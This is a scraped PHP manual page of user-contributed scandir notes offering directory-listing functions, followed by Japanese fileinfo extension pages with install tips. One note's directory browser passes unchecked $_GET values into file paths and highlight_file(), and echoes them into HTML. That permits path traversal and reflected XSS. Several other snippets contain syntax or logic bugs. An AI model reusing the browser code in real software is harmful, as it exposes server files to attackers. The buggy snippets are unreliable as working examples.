        self::$directories = array();
        self::$files = array();
        self::$ext_filter = false;

        // Check we have minimum parameters
        if(!$args = func_get_args()){
            die("Must provide a path string or array of path strings");
        }
        if(gettype($args[0]) != "string" && gettype($args[0]) != "array"){
            die("Must provide a path string or array of path strings");
        }

        // Check if recursive scan | default action: no sub-directories
        if(isset($args[2]) && $args[2] == true){self::$recursive = true;}

        // Was a filter on file extensions included? | default action: return all file types
        if(isset($args[1])){
            if(gettype($args[1]) == "array"){self::$ext_filter = array_map('strtolower', $args[1]);}
            else
            if(gettype($args[1]) == "string"){self::$ext_filter[] = strtolower($args[1]);}
        }

        // Grab path(s)
        self::verifyPaths($args[0]);
        return self::$files;
    }

    static private function verifyPaths($paths){
        $path_errors = array();
        if(gettype($paths) == "string"){$paths = array($paths);}

        foreach($paths as $path){
            if(is_dir($path)){
                self::$directories[] = $path;
                $dirContents = self::find_contents($path);
            } else {
                $path_errors[] = $path;
            }
        }

        if($path_errors){echo "The following directories do not exists<br />";die(var_dump($path_errors));}
    }

    // This is how we scan directories
    static private function find_contents($dir){
        $result = array();
        $root = scandir($dir);
        foreach($root as $value){
            if($value === '.' || $value === '..') {continue;}
            if(is_file($dir.DIRECTORY_SEPARATOR.$value)){
                if(!self::$ext_filter || in_array(strtolower(pathinfo($dir.DIRECTORY_SEPARATOR.$value, PATHINFO_EXTENSION)), self::$ext_filter)){
                    self::$files[] = $result[] = $dir.DIRECTORY_SEPARATOR.$value;
                }
                continue;
            }
            if(self::$recursive){
                foreach(self::find_contents($dir.DIRECTORY_SEPARATOR.$value) as $value) {
                    self::$files[] = $result[] = $value;
                }
            }
        }
        // Return required for recursive search
        return $result;
    }
}
?>

Usage:
scanDir::scan(path(s):string|array, [file_extensions:string|array], [subfolders?:true|false]);
<?php
//Scan a single directory for all files, no sub-directories
$files = scanDir::scan('D:\Websites\temp');

//Scan multiple directories for all files, no sub-dirs
$dirs = array(
    'D:\folder';
    'D:\folder2';
    'C:\Other';
);
$files = scanDir::scan($dirs);

// Scan multiple directories for files with provided file extension,
// no sub-dirs
$files = scanDir::scan($dirs, "jpg");
//or with an array of extensions
$file_ext = array(
    "jpg",
    "bmp",
    "png"
);
$files = scanDir::scan($dirs, $file_ext);

// Scan multiple directories for files with any extension,
// include files in recursive sub-folders
$files = scanDir::scan($dirs, false, true);

// Multiple dirs, with specified extensions, include sub-dir files
$files = scanDir::scan($dirs, $file_ext, true);
?>
Patrick 12-Jan-2014 09:10
Here is my recursive function, placing directories into new array keys and its contents within.

/* find_files( string, &array )
** Recursive function to return a multidimensional array of folders and files
** that are contained within the directory given
*/
function find_files($dir, &$dir_array)
{
    // Create array of current directory
    $files = scandir($dir);

    if(is_array($files))
    {
        foreach($files as $val)
        {
            // Skip home and previous listings
            if($val == '.' || $val == '..')
                continue;

            // If directory then dive deeper, else add file to directory key
            if(is_dir($dir.'/'.$val))
            {
                // Add value to current array, dir or file
                $dir_array[$dir][] = $val;

                find_files($dir.'/'.$val, $dir_array);
            }
            else
            {
                $dir_array[$dir][] = $val;
            }
        }
    }
    ksort($dir_array);
}

// Example
$folder_list = array();
find_files('/path', $folder_list)

var_dump($folder_list);

array(3) {
  ["directory_01"]=>
  array(4) {
    [0]=>
    string(12) "directory_02"
    [1]=>
    string(12) "directory_03"
    [2]=>
    string(11) "file_01.txt"
    [3]=>
    string(11) "file_02.txt"
  }
  ["directory_01/directory_02"]=>
  array(2) {
    [0]=>
    string(11) "file_03.txt"
    [1]=>
    string(11) "file_04.txt"
  }
  ["directory_01/directory_03"]=>
  array(2) {
    [0]=>
    string(11) "file_05.txt"
    [1]=>
    string(11) "file_06.txt"
  }
}
hex at mail dot nnov dot ru 07-Sep-2013 07:38
// Extreme minimal version recursive scan:
function rscandir($dir){
  $dirs = array_fill_keys( array_diff( scandir( $dir ), array( '.', '..' ) ), array());
  foreach( $dirs as $d => $v )
    if( is_dir($dir."/".$d) )
      $dirs[$d] = rscandir($dir."/".$d);
  return $dirs;
}
mmda dot nl at gmail dot com 08-Nov-2012 12:43
Here is my 2 cents. I wanted to create an array of my directory structure recursively. I wanted to easely access data in a certain directory using foreach. I came up with the following:

<?php
function dirToArray($dir) {

   $result = array();

   $cdir = scandir($dir);
   foreach ($cdir as $key => $value)
   {
      if (!in_array($value,array(".","..")))
      {
         if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
         {
            $result[$value] = dirToArray($dir . DIRECTORY_SEPARATOR . $value);
         }
         else
         {
            $result[] = $value;
         }
      }
   }

   return $result;
}
?>

Output
Array
(
   [subdir1] => Array
   (
      [0] => file1.txt
      [subsubdir] => Array
      (
         [0] => file2.txt
         [1] => file3.txt
      )
   )
   [subdir2] => Array
   (
    [0] => file4.txt
   }
)
carneiro at isharelife dot com dot br 22-Jun-2012 06:47
<?php
/**
     * Get an array that represents directory tree
     * @param string $directory     Directory path
     * @param bool $recursive         Include sub directories
     * @param bool $listDirs         Include directories on listing
     * @param bool $listFiles         Include files on listing
     * @param regex $exclude         Exclude paths that matches this regex
     */
    function directoryToArray($directory, $recursive = true, $listDirs = false, $listFiles = true, $exclude = '') {
        $arrayItems = array();
        $skipByExclude = false;
        $handle = opendir($directory);
        if ($handle) {
            while (false !== ($file = readdir($handle))) {
            preg_match("/(^(([\.]){1,2})$|(\.(svn|git|md))|(Thumbs\.db|\.DS_STORE))$/iu", $file, $skip);
            if($exclude){
                preg_match($exclude, $file, $skipByExclude);
            }
            if (!$skip && !$skipByExclude) {
                if (is_dir($directory. DIRECTORY_SEPARATOR . $file)) {
                    if($recursive) {
                        $arrayItems = array_merge($arrayItems, directoryToArray($directory. DIRECTORY_SEPARATOR . $file, $recursive, $listDirs, $listFiles, $exclude));
                    }
                    if($listDirs){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                } else {
                    if($listFiles){
                        $file = $directory . DIRECTORY_SEPARATOR . $file;
                        $arrayItems[] = $file;
                    }
                }
            }
        }
        closedir($handle);
        }
        return $arrayItems;
    }
?>
2bbasic at gmail dot com 21-Jun-2012 11:35
<?php
//-- Directory Navigation with SCANDIR
//--
//-- optional placemenet
$exclude_list = array(".", "..", "example.txt");
if (isset($_GET["dir"])) {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"];
}
else {
  $dir_path = $_SERVER["DOCUMENT_ROOT"]."/";
}
//-- until here
function dir_nav() {
  global $exclude_list, $dir_path;
  $directories = array_diff(scandir($dir_path), $exclude_list);
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_dir($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[`] <a href='?dir=".$_GET["dir"].$entry."/"."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
  //-- separator
  echo "<ul style='list-style:none;padding:0'>";
  foreach($directories as $entry) {
    if(is_file($dir_path.$entry)) {
      echo "<li style='margin-left:1em;'>[ ] <a href='?file=".$_GET["dir"].$entry."'>".$entry."</a></li>";
    }
  }
  echo "</ul>";
}
dir_nav();
//-- optional placement
if (isset($_GET["file"])) {
  echo "<div style='margin:1em;border:1px solid Silver;'>";
  highlight_file($dir_path.$_GET['file']);
  echo "</div>";
}
//-- until here
//--
//-- Because I love php.net
?>
fazle dot elahee at gmail dot com 09-Apr-2012 06:52
/**
 * This function will scan all files recursively in the sub-folder and folder.
 *
 * @author Fazle Elahee
 *
 */

function scanFileNameRecursivly($path = '', &$name = array() )
{
  $path = $path == ''? dirname(__FILE__) : $path;
  $lists = @scandir($path);

  if(!empty($lists))
  {
      foreach($lists as $f)
      {

      if(is_dir($path.DIRECTORY_SEPARATOR.$f) && $f != ".." && $f != ".")
      {
          scanFileNameRecursivly($path.DIRECTORY_SEPARATOR.$f, &$name);
      }
      else
      {
          $name[] = $path.DIRECTORY_SEPARATOR.$f;
      }
      }
  }
  return $name;
}

$path = "/var/www/SimplejQueryDropdowns";
$file_names = scanFileNameRecursivly($path);

echo "<pre>";
var_dump($file_names);
echo "</pre>";
dwieeb at gmail dot com 22-Jan-2012 08:06
Easy way to get rid of the dots that scandir() picks up in Linux environments:

<?php
$directory = '/path/to/my/directory';
$scanned_directory = array_diff(scandir($directory), array('..', '.'));
?>
kodlee at kodleeshare dot net 08-Jan-2012 03:51
I needed to find a way to get the full path of all files in the directory and all subdirectories of a directory.
Here's my solution: Recursive functions!

<?php
function find_all_files($dir)
{
    $root = scandir($dir);
    foreach($root as $value)
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}
?>
boen dot robot at gmail dot com 20-Feb-2010 10:10
If you have a folder with many files and/or subfolders, doing a recursive scandir will likely either slow down your application, or cause a high rise in RAM consumption due to the large size of the generated array.

To help with this, as well as to make processing of files in a folder easier, I wrote a function that reads a folder and its subfolders recursively, and calls a function upon each match.

<?php
/**
 * Calls a function for every file in a folder.
 *
 * @author Vasil Rangelov a.k.a. boen_robot
 *
 * @param string $callback The function to call. It must accept one argument that is a relative filepath of the file.
 * @param string $dir The directory to traverse.
 * @param array $types The file types to call the function for. Leave as NULL to match all types.
 * @param bool $recursive Whether to list subfolders as well.
 * @param string $baseDir String to append at the beginning of every filepath that the callback will receive.
 */
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
?>

Of course, because it is recursive, a folder with many levels of folders could potentially consume lots of memory, but then again, so can every other recursive scandir implementation here.

BTW, there's also the RecursiveDirectoryIterator SPL class:
http://bg.php.net/manual/en/class.recursivedirectoryiterator.php
which, even if using the same approach, will most likely be faster and hold down deeper levels (because it works on the C level), but this one will always work, regardless of settings... even on PHP4.

Point is, avoid recursive scandir implementations.
moik78 at gmail dot com 28-Jan-2010 05:43
This is a function to count the number of files of a directory

<?php
function countFiles($dir){
    $files = array();
    $directory = opendir($dir);
    while($item = readdir($directory)){
    // We filter the elements that we don't want to appear ".", ".." and ".svn"
         if(($item != ".") && ($item != "..") && ($item != ".svn") ){
              $files[] = $item;
         }
    }
    $numFiles = count($files);
    return $numFiles;
}
?>
phpnet at novaclic dot com 11-Jan-2010 02:36
Was looking for a simple way to search for a file/directory using a mask. Here is such a function.

By default, this function will keep in memory the scandir() result, to avoid scaning multiple time for the same directory.

Requires at least PHP5.

<?php
function sdir( $path='.', $mask='*', $nocache=0 ){
    static $dir = array(); // cache result in memory
    if ( !isset($dir[$path]) || $nocache) {
        $dir[$path] = scandir($path);
    }
    foreach ($dir[$path] as $i=>$entry) {
        if ($entry!='.' && $entry!='..' && fnmatch($mask, $entry) ) {
            $sdir[] = $entry;
        }
    }
    return ($sdir);
}
?>
magicmind at netcabo dot pt 09-Jun-2009 05:20
Hello all,

I just added a extension filter to the getDirectoryTree function, so it can filter an extension for files in the folders/subfolders:

<?php
function getDirectoryTree( $outerDir , $x){
    $dirs = array_diff( scandir( $outerDir ), Array( ".", ".." ) );
    $dir_array = Array();
    foreach( $dirs as $d ){
        if( is_dir($outerDir."/".$d)  ){
            $dir_array[ $d ] = getDirectoryTree( $outerDir."/".$d , $x);
        }else{
         if (($x)?ereg($x.'$',$d):1)
            $dir_array[ $d ] = $d;
            }
    }
    return $dir_array;
}

$dirlist = getDirectoryTree('filmes','flv');
?>
phpdotnet at lavavortex dot com 01-May-2009 05:05
How a ninja may retrieve a list of files, files filtered by extension, or directories:

<?php
//NNNIIIinnnjaaa::
//array of files without directories... optionally filtered by extension
function file_list($d,$x){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_file($d.'/'.$f)&&(($x)?ereg($x.'$',$f):1))$l[]=$f;
       return $l;
}

//NNNIIIinnnjaaa::
//array of directories
function dir_list($d){
       foreach(array_diff(scandir($d),array('.','..')) as $f)if(is_dir($d.'/'.$f))$l[]=$f;
       return $l;
}

/********************************************************************\
                    PRETTY PRETTY LIGHTS (DOCUMENTATION)
\********************************************************************/

/********************************************************************
Overloaded PHP file listing function:
array file_list ( string $directory [, string $file_extension] )

$directory
  path without backslash, e.g. "/home/public_html/blarg"

$file_extention
  optionally filter specific filename extentions, e.g. ".jpg"

>>>>>>>>>>>>>>>>>>>>>>>>>>>>> TRANSLATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<
file_list("/home");          //return list of files (no directories)
file_list("/home", ".jpg");  //return only .jpg file list
\********************************************************************/

//(note: one slash (/) below and you enable all your test functions, guess where ;-))
/********************************************************************\
// TEST FUNCTIONS... IF THESE WORK, THIS FUNCTION WORKS ON THIS PLATFORM
echo "<hr><b>File List:</b><br>";
$n = file_list(getcwd());
if($n) foreach($n as $f) echo "$f<br>";             //current files

echo "<hr><b>Files with extension .php:</b><br>";
$n = file_list(getcwd(),".php");
if($n) foreach($n as $f) echo "$f<br>";             //files with .php extensions

echo "<hr><b>Directories:</b><br>";
$d = dir_list(getcwd());
if($d) foreach($d as $f) echo "$f<br>";             //directories
/********************************************************************/

/************\
RUNTIME NOTES:
file_list($arg1); // php issues a warning that there is no second parameter, but we know that, izz ok
\************/

/*******************************\
TESTED AND WORKING ON 2009.04.30:
OS:     Linux 2.6.9-78.0.17.ELsmp
APACHE: 2.2.9
PHP:    5.2.5
\*******************************/
?>
dsiembab at fullchannel dot net 08-Dec-2008 11:29
Back in the saddle of scandir I wrote this function for a function that I needed to seperate directories from files. Since I am still learning from my last example way below I would figure I would add it so it can be criticized.
<?php
function dirlist($dir, $bool = "dirs"){
   $truedir = $dir;
   $dir = scandir($dir);
   if($bool == "files"){ // dynamic function based on second pram
      $direct = 'is_dir';
   }elseif($bool == "dirs"){
      $direct = 'is_file';
   }
   foreach($dir as $k => $v){
      if(($direct($truedir.$dir[$k])) || $dir[$k] == '.' || $dir[$k] == '..' ){
         unset($dir[$k]);
      }
   }
   $dir = array_values($dir);
   return $dir;
}
?>
<?php
print_r(dirlist("../"));  //confirm array of subdirectories

print_r(dirlist("../", "files") // confirm list on files in the directory
?>
asamir at asamir dot net 05-Mar-2008 04:21
This is a modification of scanDirectories function that generates a list of all files in the chosen directory and all subdirectories of specific extentions $allowext

<?php
function scanDirectories($rootDir, $allowext, $allData=array()) {
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        $path = $rootDir.'/'.$content;
        $ext = substr($content, strrpos($content, '.') + 1);

        if(in_array($ext, $allowext)) {
            if(is_file($path) && is_readable($path)) {
                $allData[] = $path;
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}

$rootDir = "www";
$allowext = array("zip","rar","html");
$files_array = scanDirectories($rootDir,$allowext);
print_r($files_array);
?>
fatpratmatt dot at dot gmail dot com 27-Dec-2007 04:28
This function generates a list of all files in the chosen directory and all subdirectories, throws them into a NON-multidimentional array and returns them.

Most of the recursive functions on this page only return a multi-dimensional array.

This is actually a modification of some one else's function (thanks mail at bartrail dot de ;])

<?php
function scanDirectories($rootDir, $allData=array()) {
    // set filenames invisible if you want
    $invisibleFileNames = array(".", "..", ".htaccess", ".htpasswd");
    // run through content of root directory
    $dirContent = scandir($rootDir);
    foreach($dirContent as $key => $content) {
        // filter all files not accessible
        $path = $rootDir.'/'.$content;
        if(!in_array($content, $invisibleFileNames)) {
            // if content is file & readable, add to array
            if(is_file($path) && is_readable($path)) {
                // save file name with path
                $allData[] = $path;
            // if content is a directory and readable, add path and name
            }elseif(is_dir($path) && is_readable($path)) {
                // recursive callback to open new directory
                $allData = scanDirectories($path, $allData);
            }
        }
    }
    return $allData;
}
?>

Example output:

print_r(scanDirectories("www"));
---
Array
(
    [0] => www/index.php
    [1] => www/admin.php
    [3] => www/css/css.css
    [4] => www/articles/2007/article1.txt
    [4] => www/articles/2006/article1.txt
    [8] => www/img/img1.png
)
cHH 05-Nov-2007 09:46
Since scandir() returns and array, here is a more concise method of dealing with the '.' and '..' problem when listing directories:

<?php
$target = '/';
$weeds = array('.', '..');
$directories = array_diff(scandir($target), $weeds);

foreach($directories as $value)
{
   if(is_dir($target.$value))
   {
      echo $value.'<br />';
   }
}
?>
beingmrkenny at gmail dot com 13-Aug-2006 11:41
I wrote this function to read a folder and place all the folders and sub folders it contains into an array.

<?php

// Initialise empty array, otherwise an error occurs
$folders = array();

function recursive_subfolders($folders) {

    // Set path here
    $path = '/path/to/folder';

    // Create initial "Folders" array
    if ($dir = opendir($path)) {
        $j = 0;
        while (($file = readdir($dir)) !== false) {
            if ($file != '.' && $file != '..' && is_dir($path.$file)) {
                $j++;
                $folders[$j] = $path . $file;
            }
        }
    }

    closedir($dir);

    // Then check each folder in that array for subfolders and add the subfolders to the "Folders" array.
    $j = count($folders);
    foreach ($folders as $folder) {
        if ($dir = opendir($folder)) {
            while (($file = readdir($dir)) !== false) {
                $pathto = $folder. '/' . $file;
                if ($file != '.' && $file != '..' && is_dir($pathto) && !in_array($pathto, $folders)) {
                    $j++;
                    $folders[$j] = $pathto;
                    $folders = recursive_subfolders($folders);
                }
            }
        }
        closedir($dir);
    }

    sort($folders);
    return $folders;
}

$folders = recursive_subfolders($folders);

?>

$folders now contains an array with the full paths to each subfolder. E.g.:

Array
(
    [0] => /path/to/folder/dir1
    [1] => /path/to/folder/dir1/subdir
    [2] => /path/to/folder/dir1/subdir/subsubdir
    [3] => /path/to/dolfer/dir2
)

This function has only been tested on Linux.
progrium+php at gmail dot com 30-Jun-2005 04:54
I made this to represent a directory tree in an array that uses the file or directory names as keys and full paths as the value for files. Directories are nested arrays.

<?php
function generatePathTree($rootPath) {
    $pathStack = array($rootPath);
    $contentsRoot = array();
    $contents = &$contentsRoot;
    while ($path = array_pop($pathStack)) {
       $contents[basename($path)] = array();
       $contents = &$contents[basename($path)];
       foreach (scandir($path) as $filename) {
           if ('.' != substr($filename, 0, 1)) {
               $newPath = $path.'/'.$filename;
               if (is_dir($newPath)) {
                   array_push($pathStack, $newPath);
                   $contents[basename($newPath)] = array();
               } else {
                   $contents[basename($filename)] = $newPath;
               }
           }
       }
    }
    return $contentsRoot[basename($rootPath)];
}
?>

The function will return something like this:

Array
(
    [index.php] => /usr/local/www/index.php
    [js] => Array
        (
            [async.js] => /usr/local/www/js/async.js
            [dom.js] => /usr/local/www/js/dom.js
            [effects.js] => /usr/local/www/js/effects.js
            [prototype.js] => /usr/local/www/js/prototype.js
        )

    [logo.png] => /usr/local/www/logo.png
    [server.php] => /usr/local/www/server.php
    [test.js] => /usr/local/www/test.js
)
Pawel Dlugosz 11-May-2005 11:18
For directory containing files like (for example) -.jpg the results of scandir are a little "weird" ;)

<?php

   $dir = '/somedir';
   $files = scandir($dir);
   print_r($files);
?>

Array
(
    [0] => -.jpg
    [1] => .
    [2] => ..
    [3] => foo.txt
    [4] => somedir
)

Beware - sorting is in ASCII order :)
wwwebdesigner at web doott de 12-Apr-2005 12:20
using sort of scandir() that returns the content sorted by Filemodificationtime.

<?php
function scandir_by_mtime($folder) {
  $dircontent = scandir($folder);
  $arr = array();
  foreach($dircontent as $filename) {
    if ($filename != '.' && $filename != '..') {
      if (filemtime($folder.$filename) === false) return false;
      $dat = date("YmdHis", filemtime($folder.$filename));
      $arr[$dat] = $filename;
    }
  }
  if (!ksort($arr)) return false;
  return $arr;
}
?>

returns false if an error occured
otherwise it returns an array like this.
Array
(
    [20040813231320] => DSC00023.JPG
    [20040813231456] => DSC00024.JPG
    [20040814003728] => MOV00055.MPG
    [20040814003804] => DSC00056.JPG
    [20040814003946] => DSC00057.JPG
    [20040814004030] => DSC00058.JPG
    [20040814014516] => DSC00083.JPG
    [20050401161718] => album.txt
)
csaba at alum dot mit dot edu 04-Mar-2005 03:19
Scandir on steroids:
For when you want to filter your file list, or only want to list so many levels of subdirectories...

<?php
function dirList($path="", $types=2, $levels=1, $aFilter=array()) {
//  returns an array of the specified files/directories
//  start search in $path (defaults to current working directory)
//  return $types:  2 => files; 1 => directories; 3 => both;
//  $levels: 1 => look in the $path only; 2 => $path and all children;
//          3 => $path, children, grandchildren; 0 => $path and all subdirectories;
//          less than 0 => complement of -$levels, OR everything starting -$levels down
//                e.g. -1 => everthing except $path; -2 => all descendants except $path + children
//  Remaining argument(s) is(are) a filter array(list) of regular expressions which operate on the full path.
//    First character (before the '/' of the regExp) '-' => NOT.
//    First character (after a possible '-') 'd' => apply to directory name
//    The filters may be passed in as an array of strings or as a list of strings
//  Note that output directories are prefixed with a '*' (done in the line above the return)
   $dS = DIRECTORY_SEPARATOR;
   if (!($path = realpath($path?$path:getcwd()))) return array();    // bad path
   // next line rids terminating \ on drives (works since c: == c:\ on PHP).  OK in *nix?
   if (substr($path,-1)==$dS) $path = substr($path,0,-1);
   if (is_null($types)) $types = 2;
   if (is_null($levels)) $levels = 1;
   if (is_null($aFilter)) $aFilter=array();

   // last argument may be passed as a list or as an array
   $aFilter = array_slice(func_get_args(),3);
   if ($aFilter && gettype($aFilter[0])=="array") $aFilter=$aFilter[0];
   $adFilter = array();
   // now move directory filters to separate array:
   foreach ($aFilter as $i=>$filter)                  // for each directory filter...
     if (($pos=stripos(" $filter","d")) && $pos<3) {  // next line eliminates the 'd'
         $adFilter[] = substr($filter,0,$pos-1) . substr($filter,$pos);
         unset($aFilter[$i]); }
   $aFilter = array_merge($aFilter);    // reset indeces

   $aRes = array();                    // results, $aAcc is an Accumulator
   $aDir = array($path);    // dirs to check
   for ($i=$levels>0?$levels++:-1;($aAcc=array())||$i--&&$aDir;$aDir=$aAcc)
     while ($dir = array_shift($aDir))
         foreach (scandir ($dir) as $fileOrDir)
           if ($fileOrDir!="." && $fileOrDir!="..") {
               if ($dirP = is_dir ($rp="$dir$dS$fileOrDir"))
                 if (pathFilter("$rp$dS", $adFilter))
                     $aAcc[] = $rp;
               if ($i<$levels-1 && ($types & (2-$dirP)))
                 if (pathFilter($rp, $aFilter))
                     $aRes[] = ($dirP?"*":"") . $rp; }
   return $aRes;
}
?>

example usage:
<?php
define ("_", NULL);
// this will find all non .jpg, non .Thumbs.db files under c:\Photo
$aFiles = dirList('c:\Photo', _, 0, '-/\.jpg$/i', '-/\\\\Thumbs.db$/');
$aFiles = dirList();    // find the files in the current directory
// next lines will find .jpg files in non Photo(s) subdirectories, excluding Temporary Internet Files
set_time_limit(60);        // iterating from the top level can take a while
$aFiles = dirList("c:\\", _, 0, '/\.jpg$/i', '-d/\\\\Photos?$/i', '-d/Temporary Internet/i');
?>

Note that this function will consume a lot of time if scanning large
directory structures (which is the reason for the '[-]d/.../' filters).

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 04-Mar-2005 04:52
A nice way to filter the files/directories you get back from scandir:

<?php
function pathFilter ($path, $aFilter) {
   // returns true iff $path survives the tests from $aFilter
   // $aFilter is an array of regular expressions: [-]/regExp/modifiers
   // if there is a leading '-' it means exclude $path upon a match (a NOT test)
   // If the first expression has a leading '-', $path is in, unless it gets excluded.
   // Otherwise, $path is out, unless it gets included via the filter tests.
   // The tests are applied in succession.
   // A NOT test is applied only if $path is currently (within the tests) included
   // Other tests are applied only if $path is currently excluded.  Thus,
   // array("/a/", "-/b/", "/c/") => passes if $path has a c or if $path has an a but no b
   // array("/a/", "/c/", "-/b/") => passes if $path has an a or c, but no b
   // array("-/b/", "/a/", "/c/") => passes if $path has no b, or if $path has an a or c
   if (!$aFilter) return true;           // automatic inclusion (pass) if no filters
   foreach ($aFilter as $filter) break;  // we don't know how it's indexed
   $in = $filter[0]=="-";                // initial in/exclusion based on first filter
   foreach ($aFilter as $filter)         // walk the filters
      if ($in==$not=($filter[0]=="-"))   //     testing only when necessary
         $in ^= preg_match(substr($filter,$not),$path);    // flip in/exclusion upon a match
   return $in;
}
?>

Csaba Gabor from Vienna
Stan P. van de Burgt 26-Oct-2004 09:05
scandir() with regexp matching on file name and sorting options based on stat().

<?php
function myscandir($dir, $exp, $how='name', $desc=0)
{
    $r = array();
    $dh = @opendir($dir);
    if ($dh) {
        while (($fname = readdir($dh)) !== false) {
            if (preg_match($exp, $fname)) {
                $stat = stat("$dir/$fname");
                $r[$fname] = ($how == 'name')? $fname: $stat[$how];
            }
        }
        closedir($dh);
        if ($desc) {
            arsort($r);
        }
        else {
            asort($r);
        }
    }
    return(array_keys($r));
}

$r = myscandir('./book/', '/^article[0-9]{4}\.txt$/i', 'ctime', 1);
print_r($r);
?>

files can be sorted on name and stat() attributes, ascending and descending:

name    file name
dev     device number
ino     inode number
mode    inode protection mode
nlink   number of links
uid     userid of owner
gid     groupid of owner
rdev    device type, if inode device *
size    size in bytes
atime   time of last access (Unix timestamp)
mtime   time of last modification (Unix timestamp)
ctime   time of last inode change (Unix timestamp)
blksize blocksize of filesystem IO *
blocks  number of blocks allocated


ファイル情報

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Fileinfo 関数
    • finfo_buffer — 文字列バッファの情報を返す
    • finfo_close — fileinfo リソースを閉じる
    • finfo_file — ファイルについての情報を返す
    • finfo_open — 新しい fileinfo リソースを作成する
    • finfo_set_flags — libmagic のオプションを設定する
    • mime_content_type — ファイルの MIME Content-type を検出する
  • finfo — finfo クラス
    • finfo::buffer — finfo_buffer() のエイリアス
    • finfo::__construct — finfo_open のエイリアス
    • finfo::file — finfo_file() のエイリアス
    • finfo::set_flags — finfo_set_flags() のエイリアス

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールの関数は、ファイル内の特定の位置から magic バイトシーケンスを見つけることで、 ファイルの content type とエンコーディングを推測します。 これは完全な手法ではありませんが、経験上かなりうまく動作しています。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

RickertB 17-Feb-2009 02:14
When installing fileinfo on php5.2 on ubuntu and having a problem with phpize,

you must also install the php5-dev package..
apt-get install php5-dev

Then verify if 'phpize' is in your PATH
Anonymous 09-Oct-2008 09:05
for gentoo you will need to emerge pecl-fileinfo
grillen at abendstille dot at 09-Oct-2008 01:54
on opensuse 10.2 systems you'll need the file-devel package.
greg at freephile dot com 01-Oct-2008 08:29
For Kubuntu systems and probably most other Linuxes, after installing libmime-devel, I could successfully install the PECL Fileinfo package.

$ sudo apt-get install libmagic-dev

$ sudo pecl install Fileinfo


要件

PHP 5.3.0 より前のバージョンでは、この拡張モジュールをビルドするには magic_open ライブラリが必要です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールは、PHP 5.3.0 以降デフォルトで有効となります。 それまでは fileinfo は PECL 拡張モジュールでしたが、もう PECL ではメンテナンスされていません。 5.3 より前のバージョンでは、 » メンテナンスが終了した PECL 拡張モジュール を使うこともできます。

Windows ユーザーがこの拡張モジュールを使うには、同梱されている DLL ファイル php_fileinfo.dll を php.ini で有効にしなければなりません。

libmagic ライブラリは PHP に同梱されていますが、PHP 用に変更されています。 libmagic へのパッチは libmagic.patch で、これは PHP fileinfo 拡張モジュールのソースの中に含まれています。

同梱されている libmagic ライブラリの更新履歴
PHP バージョン | libmagic バージョン | 注意
5.3.2 | 5.03 |
5.3.0 | 5.02 |

User Contributed Notes

abowers 18-Mar-2013 06:01
Windows users: just edit php.ini and uncomment this line:

extension=php_fileinfo.dll

Remember to restart Apache for new php.ini to take effect.
fuxa_kos at unihost dot cz 04-Sep-2012 11:29
when you are compiling php from source yourself, with --disable-all
you need --enable-fileinfo
mdahlke at pixelcarve dot com 26-Jul-2010 09:24
I found that while using the magic files from GnuWin 4.23 worked great for the PECL extension with PHP 5.2 on Win32, when I started migrating to PHP 5.3 all of a sudden Fileinfo no longer worked.  Updating the magic files to the latest version (4.26 at the time of this writing) worked like a charm.

I guess the bundled version of Fileinfo uses the new mime magic format while the old PECL version uses the old format.
darko at uvcms dot com 28-Jun-2008 08:04
I need to add an addendum to the previous instalation steps.

Recently gnuwin32 project made a new release of file package (4.24). Binary release does not contain all needed magic files for fileinfo extension.
Instead of downloading latest version of file package (4.24) just get previous one (4.23) which does contain all of the needed files.
darko at uvcms dot com 16-Apr-2008 02:35
It is really strange to find that installing filenfo extension on windows is not yet fully explained. Here are the latest most up-to-date steps to make this work:

1. Add php_fileinfo.dll to the list of enabled extensions
extension=php_fileinfo.dll

2. Download GNU file package for windows
get it from here: http://gnuwin32.sourceforge.net/downlinks/file-bin-zip.php

Extract the folder from the archive called shared\file which contains 4 magic files (magic, magic.mgc, magic.mime, magic.mime.mgc).

3. Place these 4 files in a known place

4. Add system enviroment variable MAGIC that points to the file called magic. For example if you placed magic files in folder called magic in c:\php that means that the propper path is c:\php\magic\magic

5. If you use IIS restart it and fileinfo is ready for use

5a. If you use apache you will have to restart operating system for the service to acknowledge MAGIC env. variable.


実行時設定

設定ディレクティブは定義されていません。

User Contributed Notes

thomandre at gmail dot com 30-May-2013 02:41
In the PHP 5.3.13 CLI version, it might use the "MAGIC" environnement variable to get the magic database file. Due to the fact that this version doesn't use the standard format, this file may be wrong. You can see it via a simple script :

<?php
    var_dump($_SERVER['MAGIC']);
?>

Unset this variable and it will work again. You can use unsetenv (C-Shell) or unset (Bourne Shell).

This does not affect the Apache version. Other CLI versions might be affected.

I lost a lot of time on this undocumented issue.
